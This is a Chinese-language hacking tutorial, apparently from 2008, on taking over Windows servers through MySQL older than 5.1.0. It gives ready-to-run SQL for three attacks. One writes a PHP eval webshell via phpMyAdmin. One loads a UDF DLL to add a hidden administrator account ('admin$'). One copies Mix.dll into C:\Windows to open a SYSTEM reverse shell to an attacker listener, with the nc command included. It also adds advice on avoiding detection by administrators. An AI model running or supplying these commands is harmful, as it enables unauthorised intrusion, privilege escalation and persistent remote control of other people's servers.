/此文章写于2008年貌似现在的MySQL版本多数>5.1.0了,在小于5.1.0情况下下面几个方法可供参考
由于5.1以上版本,规定了加载自定义的dll的路径必须要在plugin下,但是默认情况下这个文件夹并不存在
#1 phpmyadmin 后台得获得WebShell的方法
http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径
————————————————————————————–
create database tempdb;
use tempdb
create TABLE tb_temp (cmd text NOT NULL);
Insert INTO tb_temp (cmd) VALUES(‘<?php eval($_POST);?>’);
select cmd from tb_temp into outfile ‘D:webdireval.php’;
drop TABLE IF exists tb_temp;
drop database tempdb;
————————————————————————————-
#2 获取Mysql数据库root密码后可测试导出udf.dll提权
首先上传个udf.dll.php填写相关的参数后导出udf.dll到C:windowsudf.dll
然后执行以下命令
———————————————————————————–
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user admin$ 123456 /add’);
select cmdshell(‘net localgroup administrators admin$ /add’);
drop function cmdshell;
————————————————————————————
不过这个过程中常出问题的就是udf.dll被杀,哈哈哈…..
#3 通常最后会尝试使用Func反弹来获取CmdShell
然而总是失败,其原因在于:Mix.dll解压出来路径默认是WebShell的路径
一般情况下Mysql是不允许从任意目录加载函数库.呵呵,可以来验证下我的说法.
1.使用Webshell的Mysql链接功能登入root
2.执行create function Mixconnect returns string soname ‘D:webdirMix.dll’;
3.执行select Mixconnect(‘ip_addr’,’9999′);
若能成功的话,在本地使用nc -vv -l -p 9999便可反弹回个System权限的CmdSell
然二步时便会报错Error“No paths allowed for shared library”
这便说明了Mysql不允许从任意目录加载函数库.解决的方法也是很简单的可以使用Mysql
将处于Webshell路径下的Mix.dll拷贝到C:WindowsMix.dll
实现方法如下:
—————————————————————————————
create table temp_mix(abc longblob);
insert into temp_mix values(load_file(‘D:webdirMix.dll’));
select * from temp_mix into dumpfile ‘C:WindowsMix.dll’;
create function Mixconnect returns string soname ‘Mix.dll’;
select Mixconnect(‘ip_addr’,’9999′);
drop table if exists temp_mix;
——————————————————————————————
PS:若发现Can’t connect to MySQL server on ‘localhost’ (10061)说明mysql可能假死或者挂了,
      若Mysql挂了,管理员会很快发现的额….因而此招慎用.